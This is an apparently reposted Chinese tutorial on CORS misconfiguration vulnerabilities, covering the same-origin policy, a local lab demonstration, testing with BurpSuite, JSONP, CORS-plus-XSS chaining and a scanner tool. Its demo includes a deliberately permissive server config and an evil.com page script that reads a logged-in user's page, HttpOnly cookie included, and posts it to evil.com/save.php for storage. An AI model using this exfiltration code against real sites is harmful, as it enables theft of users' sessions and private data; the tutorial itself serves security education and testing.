学习 CORS 的漏洞和相关的一些知识梳理,网站如果存在这个漏洞就会有用户敏感数据被窃取的风险。
0x00 从浏览器的同源策略说起
SOP,同源策略 (Same Origin Policy),该策略是浏览器的一个安全基石,如果没有同源策略,那么,你打开了一个合法网站,又打开了一个恶意网站。恶意网站的脚本能够随意的操作合法网站的任何可操作资源,没有任何限制。
(图片来自网络)
浏览器的同源策略规定:不同域的客户端脚本在没有明确授权的情况下,不能读写对方的资源。那么何为同源呢,即两个站点需要满足同协议,同域名,同端口这三个条件。
SOP 是一个很好的策略,但是随着 Web 应用的发展,网站由于自身业务的需求,需要实现一些跨域的功能,能够让不同域的页面之间能够相互访问各自页面的内容。
CORS,跨域资源共享(Cross-origin resource sharing),是 H5 提供的一种机制,WEB 应用程序可以通过在 HTTP 增加字段来告诉浏览器,哪些不同来源的服务器是有权访问本站资源的,当不同域的请求发生时,就出现了跨域的现象。
0x01 跨域访问的一些场景:
1. 比如后端开发完一部分业务代码后,提供接口给前端用,在前后端分离的模式下,前后端的域名是不一致的,此时就会发生跨域访问的问题。
2. 程序员在本地做开发,本地的文件夹并不是在一个域下面,当一个文件需要发送 ajax 请求,请求另外一个页面的内容的时候,就会跨域。
3. 电商网站想通过用户浏览器加载第三方快递网站的物流信息。
4. 子站域名希望调用主站域名的用户资料接口,并将数据显示出来。
0x02 CORS 漏洞的攻击流程
那么 CORS 跨域导致用户信息泄漏是怎么发生的呢?
●1. 假设用户登陆一个含有 CORS 配置网站 http://vuln.com,同时又访问了攻击者提供的一个链接 http://evil.com。
●http://2.evil.com 的网站向 http://vuln.com 这个网站发起请求获取敏感数据,浏览器能否接收信息取决于 http://vuln.com 的配置。
●3. 如果 http://vuln.com 配置了 Access-C…,那么允许接收,否则浏览器会因为同源策略而不接收。
0x03 CORS 漏洞演示
那么斗哥通过简单的代码来演示下这个漏洞的发生过程。
3.1 演示环境及代码介绍
由于是本地演示,所以斗哥通过修改 hosts 文件来表示域名。hosts:
10.10.10.1 www.vuln.com (虚拟机 01)
10.10.10.156 www.evil.com (虚拟机 02)
我们知道 cookie 设置 httponly 属性后,没办法被 js 读取,但是在同路径下的 phpinfo 页面有记录这个值,我们把 phpinfo 页面当成是 www.vlun.com 上的用户信息。模拟用户登陆 www.vuln.com/login.php,接着访问 www.vuln.com/secrect.php。
www.vuln.com/login.php
<?php
// 假设此页面需要登录后才能访问
setcookie(“SESSIONid”,”THISISSESSID20180802″,time()+3600,””,””,0); // 设置普通 Cookie
setcookie(“test_http”,”THISISSESSIDhttponly20180802″,time()+3600,””,””,0,1);// 设置 HttpOnly Cookie
?>
www.vuln.com/secrect.php,现在前两行代码是注释掉的。
<? php
//header(“Access-Control-Allow-Origin:http://www.evil.com”);
//header(“Access-Control-Allow-Credentials:true”);
phpinfo();
?>
如果先访问 login.php 在访问 secrect.php,那么就会在 phpinfo 页面发现 httponly 的 COOKIE。
接着模拟黑客给用户发送恶意页面:
www.evil.com/steal.html
<!DOCTYPE>
<html>
<h1>Hello I evil page. </h1>
<script type=”text/javascript”>
function loadXMLDoc()
{
var xhr1;
var xhr2;
if(window.XMLHttpRequest)
{
xhr1 = new XMLHttpRequest();
xhr2 = new XMLHttpRequest();
}
else
{
xhr1 = new ActiveXObject(“Microsoft.XMLHTTP”);
xhr2= new ActiveXObject(“Microsoft.XMLHTTP”);
}
xhr1.onreadystatechange=function()
{
if(xhr1.readyState == 4 && xhr1.status == 200) //if receive xhr1 response
{
var datas=xhr1.responseText;
xhr2.open(“POST”,”http://www.evil.com/save.php”,”true”);
xhr2.setRequestHeader(“Content-type”,”application/x-www-form-urlencoded”);
xhr2.send(“T1=”+escape(datas));
}
}
xhr1.open(“GET”,”http://www.vuln.com/secrect.php”,”true”) //request user page.
xhr1.withCredentials = true; //request with cookie
xhr1.send();
}
loadXMLDoc();
</script>
</html>
www.evil.com/save.php
<?php
$myfile = fopen(“secrect.html”, “w+”) or die(“Unable to open file!”);
$txt = $_POST[‘T1’];
fwrite($myfile, $txt);
fclose($myfile);
?>
由于请求是从 www.evil.com 发出的,通过 AJAX 请求 www.vuln.com 的资源,所以,浏览器自动为我们加上了 Origin 这个字段。
通过抓包,我们可以发现,www.vuln.com/secrect.php 这个请求其实是有返回内容的。
但是到了浏览器这边,却没有继续请求将返回的内容发送到 www.evil.com/save.php,是因为浏览器拦截了该请求,提示没有 CORS 的头 Access-Control-Allow-Origin。
3.2 去除 www.vuln.com/secrect.php 的注释
<? php
header(“Access-Control-Allow-Origin:http://www.evil.com”);
header(“Access-Control-Allow-Credentials:true”);
phpinfo();
?>
接着重新访问 www.evil.com/steal.html
抓包发现请求 www.vuln.com/secrect.php 发现了对应的响应头。Access-Control-Allow-Origin 指是允许访问的源,Access-Control-Allow-Credentials 指的是允许带上 cookie 访问资源。这样浏览器就不会出错而拦截请求了,我们的脚本把页面编码后发送到 www.evil.com/save.php 去。
到 www.evil.com 这个站,发现生成了一个 secrect.html 文件,发现里面有 httponly 的 cookie, 漏洞利用成功。
0x04 CORS 漏洞的挖掘思路探讨
4.1 如何平常测试中检查这个漏洞?
CORS 的漏洞主要看当我们发起的请求中带有 Origin 头部字段时,服务器的返回包带有 CORS 的相关字段并且允许 Origin 的域访问。
一般测试 WEB 漏洞都会用上 BurpSuite,而 BurpSuite 可以实现帮助我们检测这个漏洞。
首先是自动在 HTTP 请求包中加上 Origin 的头部字段,打开 BurpSuite,选择 Proxy 模块中的 Options 选项,找到 Match and Replace 这一栏,勾选 Request header 将空替换为 Origin:http://foo.example.org 的 Enable 框。
然后我们就可以开始去访问我们认为有漏洞的网站,访问足够多后在 BurpSuite 的 Proxy 模块下的 HTTP history 来筛选带有 CORS 头部的值。
我们的条件可以是如下:
Access-Control-Allow-Origin: http://foo.example.org
Access-Control-Allow-Credentials: true
这里要注意的是,我们也可以测试下带有 Access-Control-Allow-Origin: * 字段的网站是否有 CORS 漏洞,但是如果是如下组合,则没有漏洞,因为浏览器已经会阻止如下的配置。
Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials: true
4.2 JSONP 的跨域
JSONP 是一种简单的服务器与客户端跨域通信的办法,此种跨域只能发起 GET 请求。其基本思想是网页通过添加一个 script 元素,向服务器请求 JSON 数据,这种做法不受同源策略限制。服务器收到请求后,将数据放在一个指定名字的回调函数里传回来。
function addScriptTag(src) {
var script = document.createElement(‘script’);
script.setAttribute(“type”,”text/javascript”);
script.src = src;
document.body.appendChild(script);
}
window.onload = function () {
addScriptTag(‘http://example.com/ip?callbac…’);
}
function foo(data) {
console.log(‘Your public IP address is: ‘ + data.ip);
};
所以经常会去通过搜索语法 inurl:?callback= 来去检测一波含有跨域的网站。
4.3 CORS 结合 XSS 漏洞进行利用
有时候 CORS 配置了信任自身的任意子域,那么如果一个子域存在 XSS 漏洞就可以通过这个漏洞去读取其他子域的资源,类似的场景还有比如 HTTPS 域信任 HTTP 域等。
4.4 关于 CORS 配置漏洞扫描
github 上提供了一个关于扫描 CORS 配置漏洞的脚本,https://github.com/chenjj/COR…。
root@kali:~/Desktop/CORScanner# python cors_scan.py -h
usage: cors_scan.py [-h] [-u URL] [-i INPUT] [-t THREADS] [-o OUTPUT]
[-v [VERBOSE]] [-d [HEADERS [HEADERS …]]]
OPTIONS:
-h, –help show this help message and exit
-u URL, –url URL URL/domain to check it’s CORS policy
-i INPUT, –input INPUT
URL/domain list file to check their CORS policy
-t THREADS, –threads THREADS
Number of threads to use for CORS scan
-o OUTPUT, –output OUTPUT
Save the results to text file
-v [VERBOSE], –verbose [VERBOSE]
Enable Verbosity and display results in realtime
-d [HEADERS [HEADERS …]], –headers [HEADERS [HEADERS …]]
Add headers to the request.
Example: python cors_scan.py -u http://google.com
我们将检测的域名写在一个记事本里,然后使用 - i 参数去进行批量扫描。
0x05 小结
本期 CORS 漏洞就介绍到这里了,如果各位有什么好的挖洞思路和技巧,欢迎一起来探讨交流。
作者:CanMengBlog
来源:CSDN
原文:https://blog.csdn.net/weixin_…
版权声明:本文为博主原创文章,转载请附上博文链接!